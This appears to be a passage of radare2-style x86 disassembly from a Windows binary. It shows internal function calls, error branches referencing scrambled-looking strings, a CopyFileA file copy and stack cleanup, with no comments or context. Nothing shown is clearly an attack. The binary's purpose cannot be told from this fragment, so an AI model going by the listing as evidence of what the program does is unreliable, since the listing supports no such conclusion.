mov dword [esp + 0x30], esp
push edx
lea ecx, [esp + 0x26c]
call fcn.00429db0
sub esp, 0x1c
mov byte [esp + 0x2ac], 0x35
lea eax, [esp + 0x230]
mov ecx, esp
mov dword [esp + 0xe0], esp
push eax
call fcn.00402b70
mov edi, dword [esp + 0x58]
lea esi, [edi + 0x18]
mov ecx, esi
mov byte [esp + 0x2ac], bl
call fcn.00434730
mov dword [esp + 0x1c], eax
call fcn.00417b00
test eax, eax
je 0x42806a
call fcn.004197b0
cmp dword [esp + 0x1c], 0
jge 0x4280fd
lea ecx, [esp + 0x1fc]
call fcn.00402f50
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x38], esp
push 0x33
mov ecx, str._DRTSN_tIxI
lea ebp, [esp + 0x23c]
call fcn.00404250
lea esi, [esp + 0x6c]
call fcn.004014c0
mov edx, ebp
mov ecx, eax
mov byte [esp + 0x27c], 0x36
call fcn.00401a50
mov ecx, eax
mov byte [esp + 0x27c], 0x37
call fcn.00402f50
push eax
push 1
push edi
call fcn.0041c990
add esp, 0x10
mov ecx, ebp
call fcn.00402ba0
mov byte [esp + 0x278], bl
call fcn.00429620
call fcn.00417a90
test eax, eax
je 0x42832c
call fcn.00406fe0
jmp 0x42832c
sub esp, 0x1c
lea edx, [esp + 0x1fc]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call fcn.00402b70
call fcn.00432130
mov esi, eax
call fcn.004179a0
mov dword [esp + 0x278], ebx
call fcn.00417bd0
test eax, eax
je 0x428139
call fcn.004353a0
call fcn.00418a10
test esi, esi
jge 0x42818a
lea ecx, [esp + 0x1e0]
call fcn.00402f50
push eax
lea eax, [esp + 0x21c]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 0x33
mov ecx, 0x455df8
call fcn.00404250
lea esi, [esp + 0x70]
call fcn.004014c0
mov byte [esp + 0x280], 0x3a
call fcn.004018b0
mov byte [esp + 0x27c], 0x3b
jmp 0x428304
sub esp, 0x1c
lea edx, [esp + 0x1fc]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call fcn.00402b70
mov ebx, dword [esp + 0x3c]
lea eax, [esp + 0x250]
mov byte [esp + 0x294], 0x3c
call fcn.0042a700
mov eax, dword [eax]
push eax
mov eax, ebp
call fcn.0042a130
sub esp, 0x1c
add eax, 0x3c
mov ecx, esp
mov dword [esp + 0xe4], esp
push eax
call fcn.00402b70
mov ecx, edi
mov byte [esp + 0x2b0], 0x2e
call fcn.0040e0b0
call fcn.004179a0
test eax, eax
je 0x4281f9
call fcn.00419b40
call fcn.004197b0
sub esp, 0x1c
lea edx, [esp + 0x1fc]
mov ecx, esp
mov dword [esp + 0x34], esp
push edx
call fcn.00402b70
push edi
call fcn.0041ba90
test eax, eax
jge 0x428266
lea ecx, [esp + 0x1e0]
call fcn.00402f50
push eax
lea eax, [esp + 0x21c]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 0x2d
mov ecx, str._DRTSN_fC_Rc::_b
call fcn.00404250
lea esi, [esp + 0x70]
call fcn.004014c0
mov byte [esp + 0x280], 0x3d
call fcn.004018b0
mov byte [esp + 0x27c], 0x3e
jmp 0x428304
lea eax, [esp + 0x234]
call fcn.0042a700
push 0
push ecx
mov ecx, dword [eax]
push ecx
mov eax, ebp
call fcn.0042a130
mov ecx, eax
add esp, 4
add ecx, 0x58
call fcn.00402f50
push eax
lea ecx, [esp + 0x1e8]
call fcn.00402f50
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x42832c
lea eax, [esp + 0x234]
call fcn.0042a700
mov edx, dword [eax]
push edx
mov eax, ebp
call fcn.0042a130
mov ecx, eax
add ecx, 0x58
call fcn.00402f50
push eax
lea eax, [esp + 0x21c]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x3c], esp
push 0x2a
mov ecx, 0x455e5c
call fcn.00404250
lea esi, [esp + 0x70]
call fcn.004014c0
mov byte [esp + 0x280], 0x3f
call fcn.00401580
mov byte [esp + 0x27c], 0x40
mov ecx, eax
call fcn.00402f50
push eax
push 1
push edi
call fcn.0041c990
add esp, 0x10
lea ecx, [esp + 0x218]
call fcn.00402ba0
lea esi, [esp + 0x4c]
call fcn.00429620
lea esi, [esp + 0x250]
call fcn.00429ed0
lea ecx, [esp + 0x1e0]
call fcn.00402ba0
xor ebx, ebx
lea esi, [esp + 0x234]
call fcn.004156a0
lea ecx, [esp + 0x1fc]
call fcn.00402ba0
mov eax, dword [esp + 0x130]
cmp eax, ebx
je 0x428372
push eax
call fcn.00437f8b
add esp, 4
mov ecx, dword [esp + 0x124]
push ecx
mov dword [esp + 0x134], ebx
mov dword [esp + 0x138], ebx
mov dword [esp + 0x13c], ebx
call fcn.00437f8b
add esp, 4
cmp dword [esp + 0x29c], 0x10
jb 0x4283b1
mov edx, dword [esp + 0x288]
push edx
call fcn.00437f8b
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x270]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x258]
xor ecx, esp
call fcn.00437983
add esp, 0x268
ret 0x20